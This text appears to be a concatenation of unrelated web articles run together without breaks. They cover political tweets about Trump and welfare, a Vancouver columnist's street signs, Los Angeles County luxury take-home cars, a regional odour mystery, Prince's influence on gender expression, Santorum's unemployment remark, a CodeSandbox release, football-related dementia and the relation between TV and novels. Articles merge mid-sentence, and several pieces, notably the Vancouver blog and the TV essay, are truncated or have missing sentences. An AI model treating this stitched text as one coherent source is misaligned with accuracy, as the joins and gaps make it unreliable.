Jesus talks about the poor (and sick, widow & orphan) as a collective, not as individual characters. Why address their helpers differently? — Joy Reid (@JoyAnnReid) February 19, 2017
One user responded to Reid by blaming conservatives for the idea that Jesus called out non-white, unwealthy individuals rather than society as a whole.
@JoyAnnReid the conservative coopted Jesus is an angry vengeful gun toter itching to attack difference and the poor because they are lazy. — MMcConnell (@mattlogical) February 19, 2017
The reply led a Trump backer named Sam to say Jesus urged individuals to work hard for their earnings.
@mattlogical @JoyAnnReid the biblical Jesus did teach a man should work for his keep and not to be idle — Sam (@marino2duper) February 19, 2017
Reid questioned Sam’s thought process …
And who among the poor are idle? They stand on their feet all day, picking your food, cleaning our hotels, shoveling our crap. Get real. https://t.co/y5Ut1wbiPb — Joy Reid (@JoyAnnReid) February 19, 2017
… and he retorted with a welfare queen excuse, which is a myth stating Black women defraud the government to gain income.
@JoyAnnReid I have no problem with those poor it’s the ones that have 5 kids from different dads and Welch off govt — Sam (@marino2duper) February 19, 2017
Reid pointed out Trump’s so-called welfare queen-like behaviors, showing that he fits the stereotype of a financially unstable parent with several children.
Your president has kids from three different moms, took five bankruptcies and hasn't paid taxes in approximately 19 years. Thoughts? https://t.co/O9pDCWMA1h — Joy Reid (@JoyAnnReid) February 19, 2017
The tweet set off a chain of replies discussing Trump’s money woes and the negative way he treated employees.
@JoyAnnReid @SalMasekela And how many people has he cheated? Look at all the lawsuits filed against him for that. — KarenLMcHalePhoto (@KarenLMcHale) February 20, 2017
@KarenLMcHale @JoyAnnReid @SalMasekela just paid out $26 million for defrauding American citizens via Trump University — Tony Laughlin (@efi2nr) February 20, 2017
@JoyAnnReid @marino2duper AND many who worked for dT – needing jobs to feed families were never paid. Hence hundreds of lawsuits. — Wendy (@perfectrose2011) February 19, 2017
One responder referred to the thousands of lawsuits Trump faced during his campaign, likely referring to a USA Today report in June about the 3,500 legal actions taken by and against the now-president.Wasserman's Beat & Vancouver's Short Memory Tuesday, October 28, 2008
Sometime in the early 90s a few signs were put up on the lamposts on Hornby Street near the area of Dunsmuir and Georgia. The signs said Wasserman's Beat and by then Vancouver's memory was working as usual (we seem to have a short memory). As I have written
Jack Wasserman was certainly no crook. He was an influential columnist with the Vancouver Sun until the day he died of a heart attack, an evening on April 6, 1977. He was speaking at the Hotel Vancouver during a roast for Gordon Gibson Jr. While I cannot confirm her presence then, I would suspect that
Wasserman came to Vancouver in 1935 at age 8. He dropped out of law school to take a reporter's job with Ubyssey. He graduated from UBC (1949)and then joined the Vancouver Sun, becoming a police reporter. His biggest scoop was the sordid death of Errol Flynn in a West End apartment. Wasserman was a longtime gossip and self-described "saloon reporter" columnist. He was fired by the Sun (1967) for hosting a radio show but was rehired 18 months later.
Wasserman's society and celebrity columns and occasional political analyses wrote up the often-lurid details of the wild heyday, glitter and sleaziness of the Vancouver nightlife and society whirl in the 1950s and 1960s when famous dinner clubs such as The Cave and Isy's attracted big names from around the world. The power of his column was neither diminished nor magnified by the fact that it rarely ran with pictures. It was an age of the written word not the heard word or "seen" word.
at Vancouver Magazine realized the importance of good gossip and had hired Valerie Gibson for the job. In those early columns by Gibson (perhaps late 70s and early 80s) I was dispatched by Parry to take the photographs for her column. At the height of her popularity her column was the most read column of Vancouver Magazine.
So in the early 90s the city decided to tip it's hat in Wasserman's memory and established a few blocks of Hornby as Wasserman's Beat. Both the Cave and the several generations of Gary Taylor's establishments had been on that street. Some reader had sent an enquiry to Vancouver Magazine on why the street had the signs. I was sent to take pictures from which one would be used on the last page of the magazine to explain what Wasserman's Beat was all about.
In 1991
His Town Talk column is sometimes obscure and only those who know him know of his inside jokes and comments. I like Town Talk because of that! He often cites a particular Vancouver economist as the "early rising..." It all has to do with Parry having entered a magazine office one early morning and catching the early riser on top of a woman, on top of a desk. He once told me, "I want him to know that I know. I don't want him to forget that."
And of course there is Parry's talent for photography particularly his interest in beautiful women and particularly in those who are beautifully endowed, too.
Looking for a possible random subject for today's blog I surfed my W,X,Y,Z file and found these slides of Wasserman's Beat. I had forgotten about them. But when I spot the sign on Hornby I always remember the night that I patiently tried to take pictures of |
indulgence, like the grand jury recommended. Nor did it track — besides for one year after the audit — how many expensive cars its workers drive. Now, new records show the county has 71 percent more pricey vehicles than it did seven years ago. Supervisors themselves bought take-home autos with features like plush leather and lousy fuel-efficiency.
“Most local governments are going stripped down. They’re going bare bones,” said Phillip Russo, CEO of the National Association of Fleet Administrators, an industry trade group. “It may not look good for your city council or mayor to be driving around with a certain vehicle that you paid for with your tax dollars.”
The number of county vehicles costing more than $30,000 — a threshold set by the grand jury — rose from 452 in 2008 to 773 in 2014. At the request of this news organization, officials reproduced the list for the most recent year available.
While none of the elected supervisors agreed to be interviewed, Patrick Ogawa, the supervisors’ top administrator, blamed the increase on more expensive technology and “energy-efficient features” that now come standard. He also said inflation played a role.
“The county exercises strong control over the use of public vehicles by its employees,” Ogawa wrote in an email.
Officials do now require annual centralized reporting about who gets take-home vehicles and how much they drive, but the 29 “executives,” including the five supervisors, don’t have to fill out the same forms.
The improved reporting standards were in response to the grand jury audit, Ogawa said. But the new policies don’t cover what vehicle types are too luxurious, as the civilian jury recommended.
Joe Sandoval, the general manager of purchasing, said his office stopped compiling the $30,000-plus list because the Board of Supervisors deemed it useless. Instead of focusing on passenger vehicles — as the grand jury did and county officials promised to do — the list showed all vehicles, including specialized equipment such as ambulances and dump trucks.
“It was too much paperwork,” Sandoval said. “It was just too much.”
Executive job perks
The 2007-2008 grand jury was poking around in local government operations — that’s what civil grand juries do — when its members suspected county employees were abusing their take-home auto privileges at taxpayers’ expense. Their findings were wide-ranging: from tax reporting irregularities to SUVs with excessive features.
“Without clear direction from the Board of Supervisors,” the report said, officials “do not have a strong incentive to purchase vehicles that more closely meet the business needs of the departments and are priced at a lower cost.”
Former juror John Smythe, 84, said last week he was not surprised the county still had luxury take-home cars. He’s a retired commercial delivery service dispatcher living in L.A.
“To me, it’s a lot of inflated egos,” Smythe said, “and that becomes very expensive.”
Not all local governments give their leaders high-end cars. In Orange County, Sheriff Sandra Hutchens drives a Ford Taurus, and Supervisor Todd Spitzer a 2008 Ford Explorer. Other Orange County supervisors get vehicle allowances up to $765 per month. (L.A. County supervisors and department heads can opt for an allowance up to $656 a month.)
Los Angeles City Council members’ take-home vehicles are across the board: from a $26,000 Honda Civic hybrid to a $51,000 Ford Explorer.
So who gets an L.A. County take-home car? Two groups: department heads and elected officials who receive them as an executive job perk (supervisors make a base salary of $184,610), or other county workers whose job duties require special driving. A fire captain may need to respond to emergencies after hours, for example. All their fuel, maintenance, car washes and insurance are paid for by the county.
In the year ending Oct. 31, 2014, the last time L.A. County counted, 524 employees were assigned autos.
Other workers check out vehicles from the county’s fleet during the day. Some of those cars are equipped with GPS devices that allow managers to track employees’ movements. Take-home vehicles, Sandoval said, don’t have GPS tracking.
Exceeding the cap
The top employees are supposed to spend no more than $50,050 of county funds on take-home vehicles. Technically, officials then lease the vehicles from the county for a monthly payment. When leaving, one of these executives could buy the car for Kelley Blue Book’s low-end value.
The least expensive car among supervisors is Mark Ridley-Thomas’ 2006 Chrysler 300. The county bought it used from the state for $21,445 after he left the Sacramento legislature.
Supervisors Don Knabe and Michael Antonovich each exceeded the limit when they bought their $56,288 Tahoe and top-of-the-line $65,648 Denali hybrid SUVs, respectively. Antonovich bought the Denali in December 2012. Four months later he was telling county workers why he was wary about breaking their five-year pay freeze.
“We’re still not out of the woods yet,” Antonovich said then at a board meeting. “So it’s important that the board continue to have prudent and responsible financial practices and continue with caution.”
Antonovich’s deputy Tony Bell explained that his district and the Denali are unusual. The Denali has “four-wheel drive and upgraded suspension and safety equipment,” he wrote in an email. (Bell left off the SUV’s touted “ultra-soft feel of Nuance leather-appointed seating” and 22-inch chrome rims.)
“The 5th District is larger than the four other districts combined,” Bell continued, “with rural areas and some rugged terrain — in addition to seasonal snow, mud and floods.”
Asked for the last time the supervisor drove the SUV through snow, Bell simply wrote, “We feel we’ve responded satisfactorily to your questions and appreciate your efforts.”Bradford Pear blossoms at the Crossings on Friday, April 29, 2016, in Colonie, N.Y. (Will Waldron/Times Union) Bradford Pear blossoms at the Crossings on Friday, April 29, 2016, in Colonie, N.Y. (Will Waldron/Times Union) Photo: Will Waldron Buy photo Photo: Will Waldron Image 1 of / 7 Caption Close DEC says big stink has multiple sources 1 / 7 Back to Gallery
Residents throughout the Capital Region checked the bottoms of their shoes Friday morning as a foul odor left many thinking they had stepped in something.
After hours of social media speculation under the hashtag #518funk — including a brief, inaccurate attempt to blame gingko or ornamental pear trees — the state Department of Environmental Conservation concluded the culprit was a load of manure. Or, more correctly, multiple loads.
Rather than pinpoint a single cause, the department is saying there must have been multiple sources for a foul smell reported from Albany to Saratoga Springs.
"DEC received numerous odor complaints today from throughout the immediate Capital Region and DEC staff are investigating potential odor sources," the department said in a statement emailed to the press Friday afternoon.
"Due to the widespread nature of the complaints, it appears the odors are most likely coming from a variety of sites that are spreading mulch, fertilizer, manure and compost on lawns and fields, as these items can all have quite pungent orders. Due to today's low winds the odors are not dissipating very quickly."
The department recommend people call its tip line if they experience any foul odors so that it can continue to search for any potential sources. The tip line number is 844-332-3267.
The smell filled nostrils from Albany through Colonie to Niskayuna, even in Saratoga Springs and Clifton Park, with people comparing the odor to dog manure or vomit.
One cause quickly ruled out was some natural emission from trees.
Peter Bowden, spokesman for the Hewitt's chain of gardening centers, said there is no way the odor wafting over a large stretch of the Capital Region came from gingko or pear trees.
"I was mystified myself," he said. "There is no tree that's flowering that is going to do this, and the scope of it is out of control."
Susan Pezzolla, a horticulture educator at Cornell Cooperative Extension, agreed.
Gingko trees' fruit, which is notoriously smelly, does not ripen until later in the year.
Dennis Gaffney, a spokesman for the city of Albany, said he had been unable to track the odor but the city received calls nonetheless. "They do smell a kind of an earthy compost smell," he said.
The city even checked its compost facility.
"Someone went down there and took a whiff," Gaffney said. "It's not that."
The city landfill also was ruled out.
"It's a bit of a mystery at this point," he said.
Jack Cunningham, commissioner of general services for the town of Colonie, said its landfill was also not the cause.
"There are two landfills," he said. "Everybody always blames us."
The National Weather Service could provide no answers. Whatever it is, they said, it's not an act of nature.
"I smelled it coming in today," meteorologist Hugh Johnson said.
Sometimes, he said, the wind that normally dissipates landfill odors can pick up the scent just right and spread it instead.
"Usually that happens with a light northwest wind," he said.
tobrien@timesunion.com • 518-454-5092 • @timobrientuMany of the boundary-pushing artists that we love today owe a lot to the foundation that the “Purple One” laid
Text Natalie Clifford
The first time I saw the film Purple Rain at age 19, I was stunned and almost embarrassed by the sheer, outright sexiness of the whole thing. Despite growing up in a conservative suburb of Minneapolis, Minnesota, USA not far from Prince himself, I had never seen the film before. Shouting the overtly sexual lyrics to “Darling Nikki,” while thrashing himself onstage in ecstasy and agony at First Avenue in downtown Minneapolis, Prince caught me off guard in a way I had never felt before. First Avenue was a place I visited many times during my college years and afterwards for concerts and other events. Internally, I was fascinated and ever so curious about such a powerful display of sexuality. Outwardly, I blushed bright red for all to see. I now spend my days paid to speak with youth in Albuquerque, New Mexico, USA about gender, sexuality, consent, and dating violence to help them understand their identities and partake in healthy relationships. I get a lot of resistance from young men in particular, telling me that although there may be plenty of lesbian or bisexual women at their school, there simply aren’t gay or bisexual men that exist among them. We then proceed to analyse and break down stereotypes about masculinity. One of the things I enjoy most about these kinds of conversations is sharing information that young people today are hella queer, more so than any previous generation. A survey of youth by the J Walter Thompson Innovation Group in the USA estimates that barely half of those born in 1996 and after identify as completely heterosexual. According to the Gay and Lesbian Alliance against Defamation’s (GLAAD) 2017 “Accelerating Acceptance” study, also conducted in the USA, 20 per cent of people born 1980 - 1996 identify as LGBTQ+, as compared to 12 per cent of those ages 35-51. This generation reports only half the time buying clothing associated with the sex they were assigned at birth (as part of a binary gender system). According to GLAAD’s survey, “young people… increasingly reject traditional labels like ‘gay / straight’ and ‘man / woman,’ and instead talk about themselves in words that are beyond the binary.” More than 30 years ago, Prince was ahead of the curve, singing “I'm not a woman / I'm not a man / I am something that you'll never understand,” in the song “I Would Die 4 U.” In March 2017, Time’s cover story was entitled “Beyond He or She” in reference to modern youth’s rejection of rigid norms regarding gender expression, identity, and sexuality. Prince enabled those of us in younger generations to think and express ourselves boldly outside of these norms.
There are also countless music artists around right now who are making their mark on the world thanks to the foundation of non-conformity Prince laid in regard to gender expression. Janelle Monáe, a close friend and mentee of Prince, as well as a trailblazing artist in her own right, has challenged norms from the very beginning of her fascinating career. Wearing only a tuxedo for the first few years and consistently clothed in black and white – both intentional decisions to honour her elders – Monáe has defied expectations of her performance of womanhood. When asked about her romantic relationships, she has skirted the question and stated that she dates androids. Angel Haze, the rapper and singer known for such hits as “Werkin Girls” and “New York,” identifies as agender, meaning they do not identify with any gender. Haze has spoken of their rejection of the traditional binary system at great length as oppressive and limiting. Haze has expressed that they do not wish to explain or justify their existence as a non-binary person in the world, and should simply be able to live freely in their identity. Frank Ocean has also pushed the envelope in terms of his self-expression, crooning of his first love, a man, on Channel Orange’s “Thinking bout You.” Similar to Prince's aversion to questions aimed to pin him down and define him on terms other than his own, Ocean has staunchly avoided attempts to pigeonhole and label his sexuality in interviews. The title of Ocean’s most recent album, “Blond(e)” implies a reference to the dual gender system through his refusal to identify with either and desire to align with both genders simultaneously. Ocean nonchalantly infuses queerness throughout the album by referencing same gender relationships seamlessly within the lyrics.Republican presidential candidate and former U.S. Senator Rick Santorum signs posters at a "Rally for Rick" campaign stop in Dixon, Illinois, March 19, 2012. REUTERS/Jeff Haynes
MOLINE, Illinois (Reuters) - Republican White House hopeful Rick Santorum said on Monday he did not care about the U.S. unemployment rate, perhaps the nation’s most closely watched economic indicator, despite being embroiled in a campaign largely focused on the still-sputtering economy.
“I don’t care what the unemployment rate is going to be. It doesn’t matter to me. My campaign doesn’t hinge on unemployment rates and growth rates,” Santorum said during a campaign appearance in Illinois, which on Tuesday holds the next contest in the state-by-state battle for the Republican presidential nomination.
Santorum, a former U.S. senator from Pennsylvania known mainly for a strong religious conservatism, is battling Mitt Romney, a former Massachusetts governor and the frontrunner in the race to oppose President Barack Obama in the November election.
Santorum used his economic comments to attack Romney as not being a true conservative.
“We have one nominee who says he wants to run the economy. What kind of conservative says the president runs the economy? What kind of conservative says, ‘I’m the guy because of my economic experience that can create jobs?’ I don’t know. We conservatives generally think government doesn’t create jobs,” Santorum said.
Romney, who is also a former private equity executive, has made his business experience the centerpiece of his presidential campaign, contending that it makes him the best candidate to steer the economy. His campaign leaped on Santorum’s remarks, by saying it added to Romney’s contention that Santorum is an ‘economic lightweight.” Santorum walked back from his comments later in remarks to reporters. “As far as my political campaign... of course I care about the unemployment rate. I want the unemployment rate to go down, but I’m saying my candidacy doesn’t hinge on whether the unemployment rate goes up and down. My candidacy is about something that transcends that; it’s about freedom. It’s not about Governor Romney’s idea that he is going to fix the economy,” he said.
The U.S. unemployment rate is currently 8.3 percent.Announcing CodeSandbox 2.0 Ives van Hoorne Blocked Unblock Follow Following Nov 16, 2017
It has been 7 months since we announced CodeSandbox, and one year since I made the first commit. Can you imagine? This certainly deserves a celebration, and we decided to do that with a big update! I took the last 2 weeks off to work fulltime on CodeSandbox and we were able to get a lot done.
Let’s dive in! New Homepage Since the first release we’ve added many things to CodeSandbox. To give you an idea: we released CodeSandbox without embeds! A lot has changed, we’re not an editor for React only anymore, and I think we moved past the definition of a playground. All these changes, but the homepage didn’t receive a single update. This caused confusion, as people didn’t know about the things we built. It was time to do something about that. We’ve now designed and built the homepage from scratch using Gatsby. You can see it here! A very big thanks to Danny Ruchtie for helping us with the design.
There are more pages in the pipeline, like documentation and picked examples. We also want to show a more personalized page for logged in users. The basis is here now, so it’ll be easier to expand to this in the future. GitHub Committing & Opening PRs The most requested feature since day one is committing to GitHub. At the beginning we couldn’t tackle that because of the groundwork that needed to be built first. The groundwork has been built and from now on you can commit, create repositories and open pull requests right from within CodeSandbox! It truly feels incredible to commit changes directly from your browser to GitHub. Creating Repositories This is a very simple process. You can now export any normal sandbox to GitHub by just entering the name and clicking ‘Create Repo’ in the sidebar. This will create a repository and then redirect you to the Git version of the sandbox. Committing & Opening PRs To commit to your repository you’ll need to import it first. You can import any GitHub repository by appending the GitHub URL to codesandbox.io/s/github. For example, for my test repository the url would be: codesandbox.io/s/github/CompuIves/codesandbox-test-git-app. The next step is to create a fork of this sandbox and make your changes, from then on you can commit or open a PR, by clicking on the buttons in the sidebar. Create a commit or open a PR We first try to make a commit, if this fails we try to make a merge commit. When a merge commit fails as well we fall back to opening a Pull Request. Merge conflict solving is next on our list to build inside CodeSandbox.
Committing some changes 😃
You can only commit to repositories you have write access to, you can open a PR to any repository. Other Changes To properly support GitHub in CodeSandbox we had to make some changes. We now import all files (like.gitignore and package.json ) for git repositories. We also implemented custom ‘editors’ for binary files, like images. This feels great for me, because you now work on your project in CodeSandbox as if you are working locally. There is no transforming happening anymore. The next feature also helps with that An Image view Static File Hosting One of the biggest differences between the local development server and CodeSandbox was the behaviour of index.html and the public folder. CodeSandbox didn’t host the files in the public folder, which was confusing until now. From this update on we do host all files from the public (or static for Vue) directory. Many exciting possibilities arise with this. You can, for example, add web workers, static images, mock API call responses now. You also get full control of index.html from now on! Here is an example sandbox:
We download test.json from the public folderGet the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
JEFF ASTLE is a Black Country legend.
A West Bromwich Albion centre-forward, he scored 174 Baggies goals, including a winner in an FA Cup final against Everton.
But he went to his grave not even knowing he had been a footballer.
Memories of that 1968 Wembley winner and playing for his country in a World Cup finals in Mexico were cruelly taken away from him by the sport he loved.
After Astle died, aged 59, in January 2002, the inquest coroner ruled that he had suffered “death by industrial disease”, his brain damaged by the repeated heading of heavy leather footballs.
Prior to his premature death he had suffered a four year decline into the darkness of dementia.
Which begs the question, how many other former footballers have suffered?
Anfield legend Ian St John believes that several of his former team-mates from Bill Shankly’s first successful side are suffering.
Former captains Ron Yeats and Tommy Smith are both struggling with neurological problems, while Geoff Strong died four years ago at the age of 75, having been robbed of cognitive function by Alzheimer’s Disease.
Astle’s family set up the Jeff Astle Foundation on April 11, 2015 as a lasting legacy to both raise awareness of brain injury in all forms of sport and to offer much needed support to those affected.
While the plight of Liverpool legends Yeats and Smith was highlighted in poignant chapters of Ragnhild Lund Asnes’ recently published book Liverpool Captains.
St John helped out the Norwegian author with the chapter on Yeats, by acting as an intermediary during their interview.
During the chat, Yeats said: “The football itself was incredibly heavy, especially when it was wet. When you headed it... Most of the times you headed it you’d just think Jesus Christ! It’s almost impossible to imagine.’
St John added: “The ball was like a medicine ball, like the big, heavy balls from PE.”
Then Yeats went on: “You just had to make sure you hit it with your forehead. If it hit any other part of your head... Oooh, the headaches you’d have after a game...”
Tragically the repercussions were never discussed, or even understood back then.
St John said: “They never understood that at the time. Today people realise the serious consequences of blows against the head like that. And remember, back then the ball was played a lot more up in the air.
“The wings would send cross-field passes, and as attackers we’d often crash our heads into the defenders’. There could be elbows involved too, and I was often accidentally hit by goalies. Knocks like these have caused problems for a lot of players.”
St John believes that the USA is well ahead of this country in diagnosing and offering support for those sportspeople affected.
In a recent interview with The Independent newspaper, St John said: “In Europe, people are worried about this.
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Video: Tommy and Bessie Rossiter's 73-year relationship is so strong it can't be broken by dementia
“If doctors’ research shows that football gave a lot of us health problems, the clubs would have to pay a lot of money in compensation.
“It’s true that women our age suffer from dementia too, but in the same numbers as men in our industry? I’m not talking about men in our country in general who get Alzheimer’s. I’m talking about the percentage of our little group of professional footballers from the 1960s.
“I believe this is an occupational injury, a health condition caused by our job as footballers. When boxers receive those heavy punches to the head, they need to rest. That was never an issue in our time.
“To be honest, all the big names among players from the 1950s and 1960s are suffering from memory lapse or dementia in varying degrees. They need compensation to pay carers, people to help and assist them in their everyday lives; for hospitals and treatment.
“They ought to be compensated to get the best help they can for their condition, and be able to lead a dignified life in the years they’ve got left, but it’s not happening. There should be a system for employees with occupational injuries, who have their health damaged in the industry they work for.”
The PFA says the Football Association is leading the investigation into whether any link does exist.
The FA says its recently appointed head of performance medicine, Dr Charlotte Cowie is leading efforts to get research commissioned.
But experts have not yet been engaged to look at the subject, as Cowie and the FA’s ‘expert concussion panel’ want to ensure that the terms of reference are correct.
Though American Football and rugby do have published research to work from, the FA feel they are hampered by an absence of published research on the effects of heading a football. It is unclear when a research project might be launched.
And more and more football heroes like Astle, Smith, Yeats and Strong are suffering in silence.Throughout its history, television has often relied on literature for a shot of self-esteem. In the 1950s, when TV lost its luster as a luxury item, when it became a mass product, it looked to literature for a boost – especially in Europe, where broadcasters in Germany and England adapted thousands of plays and novels for their “high cultural value.” Later, in the 1970s, American broadcasters needing to hook viewers over long stretches of time copied a hyper-literary “British” model that relied on adaptations of novels, old and new. Thus was born the television “miniseries,” or “novel for television,” the most noteworthy example of which was Alex Haley’s Roots, adapted by ABC in 1977.
Today, though, with the rise of prestige and streaming TV, the nature of the relationship is blurred and maybe even reversed. To be sure, when the growing army of TV critics needs an epithet to describe a serialized TV show that is particularly layered and robust, it conjures up the ghost of Charles Dickens — it relies, to an extent, on the past glories of the Victorian or Russian novel. On the other hand, the cultural power wielded by TV in its current (and seemingly endless) Golden Age means that it is free to instrumentalize its former friend. On its way to America now is a series called Dickensian that chops and screws the works of the dead novelist into a murder mystery. Ongoing, now, too, is the BBC-produced adaptation of War and Peace, which remakes Tolstoy’s essay-novel into a version of Downton Abbey, which was, in and of itself, an adaptation of a never-existing British novel.
Like any change in relationship status, the new arrangement between TV and the novel is weird, a source of elation and anxiety for both partners. Things are moving fast. This month alone, we’ve learned that two of the most read and revered literary novels of the last year have given themselves over to adaptation. Jonathan Franzen’s Purity will now be adapted into a 20-episode drama starring Daniel Craig. We’ve also learned that Franzen himself will co-write the series, in a move that will remind many of the Hollywood turns of Faulkner and Fitzgerald and Dos Passos. And just a few days prior, Europe’s Sky network announced that it will adapt each of Elena Ferrante’s Neapolitan novels into an eight-episode season. Fans of the quartet are already dreaming up their fantasy casts.
What do we call this new relationship between prestige and streaming TV and the literary novel? Well, to suss it out, we must first admit that the mutual influence of the two cultural forms extends beyond mere literary adaptation; the two now shape each other in peculiar, formal ways — like lovers who share an apartment, they’ve started speaking and looking alike. This is to say that while any relationship is marked by willful tenderness and even deceit, many of the interactions between the two are managed by forces that are beyond the control of either. These interactions are often subconscious.
The only name I can think to give this new relationship is the TV-Novel Complex, and I mean “complex” in the Freudian sense that it is neurotic and anxious. I also mean it in the sense of the “military-industrial complex,” which implies a network of producers with money who seek advantage in their union — Scott Rudin comes to mind. Now, I’m sure by this point that many readers have guffawed at my assertion that the cohabitation of these forms is a new development; I’m not saying that. But I would also point out that when Eisenhower spoke of the military-industrial complex, both the military and industry already existed and exerted influence on each other. He just meant that their “conjunction” and “posture” had intensified.
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Just as Eisenhower was a former general, a man versed more in military strategy than industry, I am a literary critic who knows more about the novel than I do about television. On this basis, I can tell you that the contemporary literary novel, especially its American variety, increasingly looks to televisual forms that are often rooted in the most adapted novelist in literary history: Charles Dickens. This is to say that, more and more, literary novelists look to recreate the “seriality effect” of Dickens’ fiction, even if their novels aren’t published in serial form.
Several things align to create this Dickensian effect. To begin with, the novel needs to be fleet, it needs to have an episodic, page-turning quality that favors layers of plot over labored characterization or mood. In order to achieve this quality, it relies on the fuel of both the TV show and the Dickensian novel: coincidence. Increasingly, the contemporary novel is one of coincidences, which require many pages to play out convincingly. This also explains why novels are getting longer.
Let’s just look at some of the most discussed novels of the last year. There is, of course, Franzen’s Purity, an episodic, ensemble novel that relies heavily on coincidence; even its title character, Purity “Pip” Tyler, takes her name from Dickens’ Great Expectations. There is also the superior, Man Booker-winning A Brief History of Seven Killings. Its author, Marlon James, calls himself a “Dickensian” and cites the latter’s “plot, surprise, cliffhangers.” It was no surprise when HBO optioned the screen rights to the novel in December; nor did it seem unusual when James pitched his forthcoming novelistic project as an “African Game of Thrones.” And then there is Hanya Yanagihara’s bestselling A Little Life, a page-turning novel of coincidence. When the novel was taken to task by Daniel Mendelsohn for manipulating its readers, its editor defended Yanagihara by comparing her to Charles Dickens.
These are but the most prominent of potentially hundreds of examples of literary novels leaning toward TV-ready plot structure and binge-worthy pacing. But the best illustration of the emergence of the TV-Novel Complex is Garth Risk Hallberg’s City on Fire, one of the most televisual novels in recent memory. Hallberg’s 900-page, coincidence-drunk debut, readers might remember, sparked a bidding war that netted him $2 million dollars. Not only that, but Scott Rudin optioned its film rights before it was published; presumably, his eagerness was based on the novel’s deeply televisual structure and ambition — it is, as Frank Rich described, a “Dickens-size descent into New York City circa 1976-77.” When it was published, I was struck by City on Fire’s reliance on TV tropes, given that it was billed as the second coming of David Foster Wallace’s Infinite Jest (a novel that attempts to subsume television rather than be subsumed by it). And I wasn’t the only writer who thought so. Writing for The Atlantic, Erik P. Hoel cites the book’s “undeniable televisual quality.” City on Fire, he adds, “represents a natural progression in the aesthetic influence of television — for better and worse.” It was no big surprise to learn that the structure of Hallberg’s novel was inspired by The Wire.
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Any relationship, a psychologist will tell you, is a two-way street. And though I’m not a theorist or critic of TV, I have to wonder why it now favors a novelistic form that predates literary modernism, especially given that novels no longer carry the air of prestige they once did — in fact, as I wrote above, they’ve come to rely on television for that prestige.
Maybe it has nothing to do with prestige, outside of the built-in audiences for established literary blockbusters. The truth is that TV in the age of streaming has come to resemble the novel, perhaps accidentally. And this, I think, has to do with a concept that adhered in older theories of television: flow.
In his 1974 classic, Television: Technology and Cultural Form, Raymond Williams notes the transition in sequencing from programming, or choosing what kinds of programs to show and when to show them, to flow. “In all developed broadcasting systems the characteristic organization, and therefore the characteristic experience,” Williams writes, “is one of sequence or flow.” The planned flow of television, he adds, “is then perhaps the defining characteristic of broadcasting, simultaneously as a technology and as a cultural form.” The goal of broadcasting, then, was not merely to get the viewer to watch single episodes, but to trap them in a continuous flow of programming, one that engaged them with likable ads and trailers, with brilliant sequencing:
What is being offered is not, in older terms, a programme of discrete units with particular insertions, but a planned flow, in which the true series is not the published sequence of programme items but this sequence transformed by the inclusion of another kind of sequence, so that these sequences together compose the real flow, the real ‘broadcasting’. Increasingly, in both commercial and public-service television, a further sequence was added: trailers of programmes to be shown at some later time or on some later day, or more itemised programme news.
From what I can tell, the concept of “flow” has fallen out of favor in the streaming age. Now that entire “seasons” are made available to binge-watch at one time, the sequencing of multiple programs with promos and ads is no longer a televisual art — the art of the flow is dead. Or is it? From another angle, we could also say that the art of the flow has been perfected. Viewers now engage with the material by binging, by watching entire seasons of “content” for hours and hours at a time (instead of single “programs”). The flow is now seamless to the point that we no longer notice it. Isn’t that why we call it streaming?
Ironically, the concept of pure flow, of perfected televisual streaming, may have been invented by a novelist in the original age of the miniseries. In 1983, ABC looked to adapt Herman Wouk’s The Winds of War, a novel about World War II, for television. But when they approached Wouk, he demanded the network remove commercials from the broadcast. From James Roman’s From Daytime to Primetime:
The author wanted a faithful screen interpretation of his work and didn’t want interruptions by commercials for deodorants, toilet-bowl cleaners, and feminine-hygiene products. Within the dynamics of the Hollywood community, it was unheard of to give an author control of the marketing characteristics of the event. The compromise agreement with Wouk, a first in the industry, limited the kind of participating sponsors, the number and length of commercials, the level of network promotion, and the show’s format, and guaranteed that specific scenes from his novel would be included.
From the perspective of streaming television, Wouk’s demand makes sense: he wanted to remove distractions so that viewers of the adaptation of The Winds of War could treat the miniseries like a novel. He wanted a “faithful screen interpretation” of his book. In order to do that, he wanted ABC and Paramount to give its broadcast pure flow.
Now that streaming has achieved pure flow, TV more closely resembles the novel. Episodes are like chapters. The viewer has time to engage with ensemble casts beset by all manner of coincidence in longish storylines. And, like readers of Dickens’ serial novels, they hanker for the next installment, as it is often said, like an addict awaits his crack.
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Whatever the similarities between streaming TV and the contemporary literary novel, critics — especially TV critics — are quick to point out that they aren’t exactly the same thing. In a searching piece published at the end of last year, New York Times critic James Poniewozik expressed this sentiment bluntly. “Streaming dramas aren’t novels,” he writes:
But they’re also not just TV shows as we’ve known them, delivered through a different pipe. And they won’t reach their full potential by simply imitating what already exists. The early days of broadcast gave us great shows, like “Playhouse 90,” that were essentially live theater that happened to be televised, but the medium didn’t come into its own until it learned to use what made it distinctive — the ability to tell open-ended ongoing stories. Likewise, streaming needs to learn to use its supersized format better, not fight against it.
The anxiety, the glee, of the TV-Novel Complex is palpable here. Prestige and streaming TV are their own, new things — not shitty old novels. And he’s right. Part of it has to do with differences in seriality. In the novel, seriality is typically just one thing: novels are discrete units — they end, even if they are, as they were in the age of Dickens, sometimes published in installments. But streaming TV, many have pointed out, has more tools: it can rely on the serial, or discrete story delivered in episodes or installments, or it can choose the series, which has no definite endpoint, except for its eventual cancellation. Or, Poniewozik explains, it can learn to exist on a spectrum of the two.
Still, we might add that whenever TV and the novel bunk together, strange things happen to the latter’s “seriality.” Instead of a discrete narrative with an ending, the novel sometimes becomes an unfinished or even unfinishable project. Take, for example, Alex Haley’s aforementioned Roots, adapted by ABC in 1977, arguably the most important entry in the “age of the miniseries.” As a production, it was eventually a huge success; in fact, the only problem that ABC faced, when they wanted to adapt the book, was that it hadn’t yet been finished.
Much the same is now happening with HBO’s adaptation of George R. R. Martin’s Game of Thrones, which will, as of this April, outpace the story of the novels. Under such conditions, we might begin to ask whether the show is an adaptation of the novels, or if the books are a novelization of the show. Under the aegis of the |
provides the science and technology necessary to maintain the Navy and Marine Corps' technological advantage. Through its affiliates, ONR is a leader in science and technology with engagement in 50 states, 70 countries, 1,035 institutions of higher learning and 914 industry partners. ONR employs approximately 1,400 people, comprising uniformed, civilian and contract personnel, with additional employees at the Naval Research Lab in Washington, D.C.A portion of a church in San Jose went up in flames Sunday morning, and arson investigators are trying to figure out what triggered the blaze. Marianne Favro reports.
A portion of a church in San Jose went up in flames Sunday morning, and arson investigators are trying to figure out what triggered the blaze.
